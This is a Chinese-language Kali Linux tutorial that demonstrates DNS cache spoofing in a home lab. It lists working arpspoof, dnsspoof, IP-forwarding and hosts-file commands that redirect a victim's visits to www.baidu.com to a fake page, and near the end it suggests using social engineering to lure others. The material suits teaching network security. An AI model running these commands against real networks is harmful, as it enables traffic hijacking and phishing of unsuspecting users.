本文仅用于讨论网络安全技术,以保护信息安全为目的,请勿用于非法用途!
DNS域名解析服务
DNS缓存攻击原理
除了ARP缓存攻击,还可欺骗域名服务器(DNS)的缓存条目(从域名到IP地址的映射)。我们需要实现当目标访问某些特定网站时,我们把这些流量转发到一个被我们控制的站点。
ARP解析协议处理的是IP和MAC地址之间的关系。
DNS映射(解析)处理的是把www.xxx.com之类的域名解析到相应的IP地址上。
DNS解析原理
总之,实际中我们在上网的时候,都是请求域名(比如www.baidu.com),然后域名在本地DNS缓存中寻找域名对应的IP地址,如果找不到,就继续去远程DNS服务器中寻找该域名的IP,一旦找到,也就完成了域名到IP访问的解析,实现了访问域名,其实就是访问域名与之绑定的IP。
如下图:
显示www.toutiao.com域名对应的IP有很多(使用了CDN,不一定是服务器IP)
kali下nslookup查询IP
最终,用户就可以在不需要知道确定IP的情况下通过URL实现网站的访问(大多数网站使用IP是无法访问的)
入门(DNS缓存攻击)
DNS缓存攻击就是使用主机发送一堆的DNS域名解析指向一个错误ip(我们kali的IP),也就是说让他人访问www.baidu.com时,本地DNS域名解析服务器将该域名指向我们的kali ip,那么他人自动就会链接到我们的kali主机设置的冒牌baidu页面。
首先,要在kali上开启Apache2服务:
在kali终端下输入:
service apache2 start
为什么要开启这个呢,我们要在这里kali的apache2服务器中放入我们的冒牌baidu网页(你可以随便去网上复制一个,也可以自己制作一个)
在卡里的主目录下,找到"其他位置",找到"计算机",然后在里面找到该路径"usr/www/html"目录(一定要参考视频去找到!)
将html目录中的所有文件都删掉!然后放置一份index.html(html超文本网页代码)的文件,该文件内容如下:
欢迎大家学习kali渗透测试课程!
By 骆训森 原创制作
需要这个index.html文件的,已经放在会员群云盘共享文件夹中!需要可以关注我,然后私信我获取即可!
创建一个DNS域名解析的文件(我们随便冒牌一个真实存在的域名网址www.baidu.com)
在kali终端中输入:
echo 192.168.31.206 www.baidu.com > hosts.txt
这里是将"192.168.31.206 www.baidu.com"写入文件hosts.txt中,如果hosts.txt不存在,就会自动创建的!
如下图,首先往文件写入域名解析,然后使用cat查看是否写入成功!
开始DNS欺骗攻击
首先要在kali中开启路由转发:
在kali的终端下输入
echo 1 > /proc/sys/net/ipv4/ip_forward
开启目标靶机(ubuntu)和网关之间的流量劫持:
在kali终端下输入
arpspoof -i eth0 -t 192.168.31.178 192.168.31.1
arpspoof -i eth0 -t 192.168.31.1 192.168.31.178
接着使用dnsspoof工具进行DNS欺骗
在kali的终端下输入
dnsspoof -i eth0 -f hosts.txt
上面以及开启了DNS欺骗攻击,达到使目标ubuntu访问www.baidu.com时出现我们设置的冒牌页面的目的。
先别急,先在ubuntu中ping下www.baidu.com域名的ip值
发现了啥?www.baidu.com的ip怎么变成了kali的ip呢?这就表明ubuntu此时只要通过浏览器访问www.baidu.com这个网址,不会跳动真正的baidu页面,而是重定向到我们这台恶意的服务器kali apache2中的var/www/html/中的index.html所展现的网页页面!
重定向到我们的kali的ip
我们来使用ubuntu的火狐浏览访问www.baidu.com网址验证下:
仔细看看,明明访问的是www.baidu.com,可是这里显示的是我kali自己配置的网页!脑洞大开!突然邪恶了下!要知道,实际应用中并不用触碰目标主机!(目前仅限局域网主机)
自动访问到我们的kali web页面
这可不是真正的www.baidu.com主页啊!
到目前为止,我们已经学会了使用DNS缓存欺骗攻击!让目标主机访问的特定页面重定向到我们kali的主机下,真是很好玩!另外这里我们可以选择社工方法将你要他人打开的连接,他人会以为是正常网页,每想到一打开就会定向到你kali主机的虚假主页中,其余的大家自行发挥吧!
再次重申,请勿用于恶作剧和非法使用!否则后果自负!